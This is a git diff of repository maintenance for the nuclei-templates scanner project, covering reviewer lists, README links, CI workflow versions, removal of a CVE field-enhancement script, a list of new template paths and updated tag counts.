fix matcher

Create exposed-gitattributes.yaml
2026-11-07 17:43:44 -10:00 · 2025-11-26 13:44:53 +05:30 · 2025-11-26 13:39:03 +05:30
6276 changed files with 26439 additions and 140878 deletions
@@ -7,6 +7,7 @@ addAssignees: false
 # A list of reviewers to be added to pull requests (GitHub user name)
 reviewers:
  - ritikchaddha
+  - pussycat0x
  - DhiyaneshGeek

 # A number of reviewers added to the pull request
@@ -15,6 +16,7 @@ numberOfReviewers: 1

 # A list of assignees, overrides reviewers if set
 assignees:
+  - pussycat0x
  - ritikchaddha
  - DhiyaneshGeek

@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -7,8 +7,8 @@ password = sys.argv[3]

 repo_owner = "projectdiscovery"
 repo_name = "nuclei-templates"
-pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
-issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
+pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
+issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]

 headers = {'Authorization': f'Bearer {password}',
        'Accept': 'application/vnd.github+json',
@@ -1,119 +0,0 @@
-#!/usr/bin/env python3
-"""
-CVE Template Field Enhancement Script
-Adds missing impact and remediation fields from ProjectDiscovery API
-"""
-
-import re
-import sys
-import requests
-from pathlib import Path
-
-API_URL = "https://api.projectdiscovery.io/v2/vulnerability"
-
-def check_missing_fields(content):
-    """Check if impact or remediation fields are missing."""
-    has_impact = bool(re.search(r'^\s{2}impact:', content, re.MULTILINE))
-    has_remediation = bool(re.search(r'^\s{2}remediation:', content, re.MULTILINE))
-    return (not has_impact, not has_remediation)
-
-def extract_cve_id(content):
-    """Extract CVE ID from template."""
-    match = re.search(r'^id:\s*(CVE-\d{4}-\d+)', content, re.MULTILINE)
-    return match.group(1) if match else None
-
-def fetch_from_api(cve_id):
-    """Fetch impact and remediation from ProjectDiscovery API."""
-    try:
-        response = requests.get(f"{API_URL}/{cve_id}", timeout=10)
-        if response.status_code == 200:
-            data = response.json().get('data', {})
-            return data.get('impact'), data.get('remediation')
-    except:
-        pass
-    return None, None
-
-def add_fields(content, impact, remediation, needs_impact, needs_remediation):
-    """Add impact and remediation fields after description."""
-    lines = content.split('\n')
-    result = []
-    i = 0
-
-    while i < len(lines):
-        line = lines[i]
-        result.append(line)
-
-        # Found description field
-        if re.match(r'^\s{2}description:', line):
-            i += 1
-            # Copy all description content (lines starting with 4+ spaces or |)
-            while i < len(lines):
-                if lines[i].strip() == '' or lines[i].startswith('    ') or lines[i].strip() == '|':
-                    result.append(lines[i])
-                    i += 1
-                else:
-                    # End of description block - add new fields here
-                    if needs_impact and impact:
-                        result.append('  impact: |')
-                        result.append(f'    {impact}')
-                    if needs_remediation and remediation:
-                        result.append('  remediation: |')
-                        result.append(f'    {remediation}')
-                    break
-            continue
-
-        i += 1
-
-    return '\n'.join(result)
-
-def enhance_file(file_path):
-    """Enhance a single CVE template file."""
-    try:
-        content = file_path.read_text()
-
-        # Check what's missing
-        needs_impact, needs_remediation = check_missing_fields(content)
-        if not needs_impact and not needs_remediation:
-            print(f"✓ {file_path.name} - already complete")
-            return False
-
-        # Get CVE ID
-        cve_id = extract_cve_id(content)
-        if not cve_id:
-            print(f"✗ {file_path.name} - no CVE ID found")
-            return False
-
-        # Fetch from API
-        impact, remediation = fetch_from_api(cve_id)
-        if not impact and not remediation:
-            print(f"⚠ {cve_id} - not found in API")
-            return False
-
-        # Add fields
-        enhanced = add_fields(content, impact, remediation, needs_impact, needs_remediation)
-        file_path.write_text(enhanced)
-
-        print(f"✓ {cve_id} - enhanced")
-        return True
-
-    except Exception as e:
-        print(f"✗ {file_path.name} - error: {e}")
-        return False
-
-def main():
-    if len(sys.argv) < 2:
-        print("Usage: python enhance-cve-fields.py <file1> [file2] ...")
-        sys.exit(1)
-
-    enhanced = 0
-    for file_arg in sys.argv[1:]:
-        file_path = Path(file_arg)
-        if file_path.exists():
-            if enhance_file(file_path):
-                enhanced += 1
-
-    print(f"\nEnhanced {enhanced} file(s)")
-    sys.exit(0)
-
-if __name__ == '__main__':
-    main()
@@ -29,10 +29,10 @@ jobs:
            // ======= CONFIG: put your user pools here =======
            // Usernames must be GitHub logins and collaborators on this repo.
            const ISSUE_ASSIGNEES = [
-              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const REVIEW_POOL = [
-              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
            // ================================================
@@ -1,62 +0,0 @@
-name: 🔧 CVE Enhancement
-
-on:
-  push:
-    branches:
-      - main
-    paths:
-      - '**/cves/**/*.yaml'
-  workflow_dispatch:
-
-jobs:
-  enhance:
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    permissions:
-      contents: write
-
-    steps:
-      - uses: actions/checkout@v7
-        with:
-          fetch-depth: 0
-
-      - name: Setup Python
-        uses: actions/setup-python@v7
-        with:
-          python-version: '3.11'
-
-      - name: Install dependencies
-        run: pip install requests
-
-      - name: Get changed CVE files
-        id: files
-        run: |
-          # Get files changed in the last commit
-          FILES=$(git diff --name-only HEAD~1 HEAD | grep 'cves/.*\.yaml$' || echo "")
-          if [ -n "$FILES" ]; then
-            echo "changed=true" >> $GITHUB_OUTPUT
-            echo "$FILES" > /tmp/cve_files.txt
-            echo "Changed CVE files:"
-            cat /tmp/cve_files.txt
-          else
-            echo "changed=false" >> $GITHUB_OUTPUT
-          fi
-
-      - name: Enhance CVE templates
-        if: steps.files.outputs.changed == 'true'
-        run: |
-          while read file; do
-            [ -f "$file" ] && python .github/scripts/enhance-cve-fields.py "$file"
-          done < /tmp/cve_files.txt
-
-      - name: Commit changes
-        if: steps.files.outputs.changed == 'true'
-        run: |
-          if ! git diff --quiet; then
-            git config user.name "github-actions[bot]"
-            git config user.email "github-actions[bot]@users.noreply.github.com"
-            git add -A
-            git commit -m "chore: add impact and remediation fields 🤖"
-            git pull origin $GITHUB_REF --rebase
-            git push origin $GITHUB_REF
-          fi
@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -12,10 +12,10 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5

      - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: '3.11'

@@ -12,10 +12,10 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5

      - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: '3.11'

@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -13,8 +13,8 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v7
-      - uses: actions/setup-python@v7
+      - uses: actions/checkout@v5
+      - uses: actions/setup-python@v6
        with:
          python-version: "3.8"
      - run: python .github/scripts/update-readme.py
@@ -1,21 +1,11 @@
 name: 📝 Template Checksum

 on:
-  # For YAML changes: wait for signing to complete first, then checksum
-  workflow_run:
-    workflows:
-      - "☑️ Template Sign"
-    types:
-      - completed
-    branches:
-      - main
-  # For non-YAML changes: trigger directly (signing doesn't run for these)
  push:
    branches:
      - main
-    paths-ignore:
+    paths:
      - '**.yaml'
-      - 'templates-checksum.txt'
  workflow_dispatch:

 env:
@@ -24,14 +14,9 @@ env:
 jobs:
  checksum:
    runs-on: ubuntu-latest
-    if: >
-      github.repository == 'projectdiscovery/nuclei-templates' && (
-        github.event_name == 'workflow_dispatch' ||
-        github.event_name == 'push' ||
-        github.event.workflow_run.conclusion == 'success'
-      )
+    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -14,10 +14,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN}}'
      - run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
        env:
          NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -38,11 +38,18 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
-
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      
+      - name: Set up Go
+        uses: actions/setup-go@v6
        with:
-          install-only: true
+          go-version: '1.24'
+          
+      - name: Install Nuclei
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
+          nuclei -version
+        shell: bash
          
      - name: Sign Windows Templates
        run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
@@ -8,7 +8,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,10 +23,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

@@ -40,8 +40,8 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v7
-      - uses: dorny/paths-filter@v4
+      - uses: actions/checkout@v5
+      - uses: dorny/paths-filter@v3
        id: filter
        with:
          list-files: shell
@@ -52,9 +52,9 @@ jobs:
              - '!.github/**'
            changed:
              - added|modified: *templates
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
      - run: bash weak-matcher-checks.sh
        id: check
        if: steps.filter.outputs.changed == 'true'
@@ -10,10 +10,10 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5

      - name: Install Python3
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: "3.10"

@@ -0,0 +1,8 @@
+.idea/
+.DS_Store
+local/
+.checksum
+.new-additions
+*.txt
+/.claude
+CLAUDE.md
@@ -1,80 +1,52 @@
-http/cves/2015/CVE-2015-7501.yaml
-http/cves/2019/CVE-2019-1003030.yaml
-http/cves/2024/CVE-2024-13985.yaml
-http/cves/2024/CVE-2024-37014.yaml
-http/cves/2024/CVE-2024-55890.yaml
-http/cves/2024/CVE-2024-56064.yaml
-http/cves/2024/CVE-2024-57726.yaml
-http/cves/2025/CVE-2025-0520.yaml
-http/cves/2025/CVE-2025-11953.yaml
-http/cves/2025/CVE-2025-13342.yaml
-http/cves/2025/CVE-2025-13528.yaml
-http/cves/2025/CVE-2025-20282.yaml
-http/cves/2025/CVE-2025-26399.yaml
-http/cves/2025/CVE-2025-71324.yaml
-http/cves/2026/CVE-2026-10768.yaml
-http/cves/2026/CVE-2026-1115.yaml
-http/cves/2026/CVE-2026-13001.yaml
-http/cves/2026/CVE-2026-13147.yaml
-http/cves/2026/CVE-2026-14483.yaml
-http/cves/2026/CVE-2026-14894.yaml
-http/cves/2026/CVE-2026-15733.yaml
-http/cves/2026/CVE-2026-16268.yaml
-http/cves/2026/CVE-2026-17505.yaml
-http/cves/2026/CVE-2026-17532.yaml
-http/cves/2026/CVE-2026-19900.yaml
-http/cves/2026/CVE-2026-25231.yaml
-http/cves/2026/CVE-2026-2614.yaml
-http/cves/2026/CVE-2026-26217.yaml
-http/cves/2026/CVE-2026-27542.yaml
-http/cves/2026/CVE-2026-27796.yaml
-http/cves/2026/CVE-2026-3001.yaml
-http/cves/2026/CVE-2026-30965.yaml
-http/cves/2026/CVE-2026-3395.yaml
-http/cves/2026/CVE-2026-34908.yaml
-http/cves/2026/CVE-2026-34976.yaml
-http/cves/2026/CVE-2026-40280.yaml
-http/cves/2026/CVE-2026-4060.yaml
-http/cves/2026/CVE-2026-41432.yaml
-http/cves/2026/CVE-2026-42461.yaml
-http/cves/2026/CVE-2026-45332.yaml
-http/cves/2026/CVE-2026-48030.yaml
-http/cves/2026/CVE-2026-48939.yaml
-http/cves/2026/CVE-2026-49049.yaml
-http/cves/2026/CVE-2026-50160.yaml
-http/cves/2026/CVE-2026-52806.yaml
-http/cves/2026/CVE-2026-53519.yaml
-http/cves/2026/CVE-2026-53576.yaml
-http/cves/2026/CVE-2026-53629.yaml
-http/cves/2026/CVE-2026-53753.yaml
-http/cves/2026/CVE-2026-53755.yaml
-http/cves/2026/CVE-2026-53976.yaml
-http/cves/2026/CVE-2026-57827.yaml
-http/cves/2026/CVE-2026-58138.yaml
-http/cves/2026/CVE-2026-58644.yaml
-http/cves/2026/CVE-2026-59774.yaml
-http/cves/2026/CVE-2026-61808.yaml
-http/cves/2026/CVE-2026-63077.yaml
-http/cves/2026/CVE-2026-64638.yaml
-http/cves/2026/CVE-2026-65442.yaml
-http/cves/2026/CVE-2026-65919.yaml
-http/cves/2026/CVE-2026-67208.yaml
-http/cves/2026/CVE-2026-6826.yaml
-http/cves/2026/CVE-2026-6854.yaml
-http/cves/2026/CVE-2026-69084.yaml
-http/cves/2026/CVE-2026-69251.yaml
-http/cves/2026/CVE-2026-71209.yaml
-http/cves/2026/CVE-2026-71362.yaml
-http/cves/2026/CVE-2026-72898.yaml
-http/cves/2026/CVE-2026-8857.yaml
-http/cves/2026/CVE-2026-9506.yaml
-http/default-logins/net-vision/net-vision-default-login.yaml
-http/default-logins/xui/3xui-default-login.yaml
-http/exposed-panels/cyberstrikeai-panel.yaml
-http/exposed-panels/miniflux-panel.yaml
-http/exposed-panels/shiori-panel.yaml
-http/exposed-panels/zulip-login-panel.yaml
-http/exposures/configs/claude-code-agents.yaml
-http/technologies/firebase-auth-fingerprint.yaml
-http/technologies/openshift-detect.yaml
-http/vulnerabilities/geoserver/geoserver-jsonarraycontains-sqli.yaml
+dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml
+file/malware/shai-hulud-supply-chain.yaml
+headless/cves/2025/CVE-2025-7901.yaml
+http/cves/2017/CVE-2017-14725.yaml
+http/cves/2017/CVE-2017-17092.yaml
+http/cves/2017/CVE-2017-5983.yaml
+http/cves/2018/CVE-2018-13317.yaml
+http/cves/2019/CVE-2019-19822.yaml
+http/cves/2019/CVE-2019-19823.yaml
+http/cves/2019/CVE-2019-19825.yaml
+http/cves/2021/CVE-2021-34427.yaml
+http/cves/2022/CVE-2022-29081.yaml
+http/cves/2023/CVE-2021-4449.yaml
+http/cves/2024/CVE-2024-20404.yaml
+http/cves/2024/CVE-2024-53995.yaml
+http/cves/2025/CVE-2025-11700.yaml
+http/cves/2025/CVE-2025-11833.yaml
+http/cves/2025/CVE-2025-12055.yaml
+http/cves/2025/CVE-2025-27915.yaml
+http/cves/2025/CVE-2025-49706.yaml
+http/cves/2025/CVE-2025-55523.yaml
+http/cves/2025/CVE-2025-61757.yaml
+http/cves/2025/CVE-2025-64525.yaml
+http/cves/2025/CVE-2025-64764.yaml
+http/cves/2025/CVE-2025-9316.yaml
+http/default-logins/traggo-default-login.yaml
+http/default-logins/vtigercrm-default-login.yaml
+http/exposures/files/vtigercrm-data-exposed.yaml
+http/miscellaneous/crypto-address-detect.yaml
+http/misconfiguration/aem/aem-anonymous-write.yaml
+http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml
+http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml
+http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml
+http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml
+http/misconfiguration/nginx/nginx-status-403-bypass.yaml
+http/misconfiguration/unauth-akhq-dashboard.yaml
+http/misconfiguration/unauth-hawkeye-dashboard.yaml
+http/misconfiguration/unauth-kafka-config-editor.yaml
+http/technologies/agent-zero-detect.yaml
+http/technologies/cisco-finesse-detect.yaml
+http/technologies/microsoft/sharepoint-web-services-discovery.yaml
+http/technologies/nostromo-detect.yaml
+http/technologies/odoo-detect.yaml
+http/technologies/traggo-server-detect.yaml
+http/technologies/vtigercrm-detect.yaml
+http/technologies/winstone-detect.yaml
+http/vulnerabilities/wordpress/wp-security-hidden-login-exposure.yaml
+http/vulnerabilities/wordpress/wp-twenty-theme-fpd.yaml
+http/vulnerabilities/wordpress/wp-twentysixteen-fpd.yaml
+http/vulnerabilities/wordpress/wp-twentytwenty-fpd.yaml
+http/vulnerabilities/wp-functions-php-disclosure.yaml
+http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
@@ -36,7 +36,4 @@ files:
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
  - javascript/enumeration/minecraft-enum.yaml
-  - http/miscellaneous/crypto-address-detect.yaml
-  - http/vulnerabilities/wp-functions-php-disclosure.yaml
-  - dns/acme-challenge-detect.yaml
-  - aaaa-fingerprint.yaml
+  - javascript/enumeration/minecraft-enum.yaml
@@ -22,7 +22,7 @@

 ### Additional References:

- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
+- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
 - [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
 - [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
 - [PD-Community Discord server](https://discord.gg/projectdiscovery)
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6639},{"name":"cve","count":4352},{"name":"discovery","count":3759},{"name":"vkev","count":1829},{"name":"wordpress","count":1673},{"name":"panel","count":1610},{"name":"wp-plugin","count":1488},{"name":"exposure","count":1469},{"name":"xss","count":1410},{"name":"osint","count":1131},{"name":"misconfig","count":999},{"name":"rce","count":994},{"name":"tech","count":963},{"name":"wp","count":935},{"name":"lfi","count":863},{"name":"detect","count":801},{"name":"devops","count":752},{"name":"cloud","count":720},{"name":"unauth","count":682},{"name":"cve2024","count":627},{"name":"sqli","count":597},{"name":"edb","count":596},{"name":"cve2021","count":596},{"name":"wpscan","count":596},{"name":"cve2023","count":572},{"name":"cve2022","count":570},{"name":"authenticated","count":551},{"name":"packetstorm","count":550},{"name":"login","count":548},{"name":"intrusive","count":539},{"name":"kev","count":528},{"name":"cve2025","count":421},{"name":"phishing","count":402},{"name":"network","count":397},{"name":"file","count":392},{"name":"oast","count":361},{"name":"default-login","count":340},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":290},{"name":"apache","count":287},{"name":"tcp","count":272},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"cve2026","count":246},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"gcloud","count":226},{"name":"token","count":226},{"name":"cve2019","count":224},{"name":"","count":220},{"name":"iot","count":217},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2018","count":205},{"name":"ssrf","count":198},{"name":"aws","count":196},{"name":"time-based-sqli","count":194},{"name":"code","count":192},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":159},{"name":"joomla","count":158},{"name":"linux","count":155},{"name":"local","count":155},{"name":"ai","count":154},{"name":"aws-cloud-config","count":147},{"name":"router","count":142},{"name":"cms","count":140},{"name":"ftp","count":137},{"name":"audit","count":136},{"name":"files","count":132},{"name":"cve2017","count":131},{"name":"file-upload","count":122},{"name":"kubernetes","count":121},{"name":"js","count":120},{"name":"cve2010","count":115},{"name":"fpd","count":108},{"name":"passive","count":103},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":89},{"name":"seclists","count":88},{"name":"cisco","count":88},{"name":"windows","count":86},{"name":"takeover","count":82},{"name":"fileupload","count":77},{"name":"k8s","count":77},{"name":"adobe","count":77},{"name":"deserialization","count":76},{"name":"ics","count":72},{"name":"traversal","count":72},{"name":"detection","count":71},{"name":"google","count":68},{"name":"vmware","count":68},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"oob","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"alibaba","count":64},{"name":"ir","count":63},{"name":"php","count":63},{"name":"vpn","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":59},{"name":"ssh","count":55},{"name":"cve2014","count":55},{"name":"fortinet","count":54},{"name":"ssti","count":54},{"name":"firewall","count":54},{"name":"aem","count":53},{"name":"ibm","count":52},{"name":"misc","count":52},{"name":"injection","count":52},{"name":"sap","count":52},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"xxe","count":49},{"name":"ecommerce","count":49},{"name":"tenable","count":49},{"name":"wp-theme","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"vulhub","count":46},{"name":"aliyun","count":45},{"name":"jndi","count":45},{"name":"llm","count":45},{"name":"dns","count":45},{"name":"ssl","count":44},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"dashboard","count":42},{"name":"osint-hobby","count":42},{"name":"bank","count":42},{"name":"osint-porn","count":42},{"name":"postgresql","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"dlink","count":40},{"name":"jira","count":39},{"name":"devsecops","count":39},{"name":"scada","count":38},{"name":"cti","count":38},{"name":"xwiki","count":38},{"name":"fuzz","count":37},{"name":"gLine truncated
+{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"n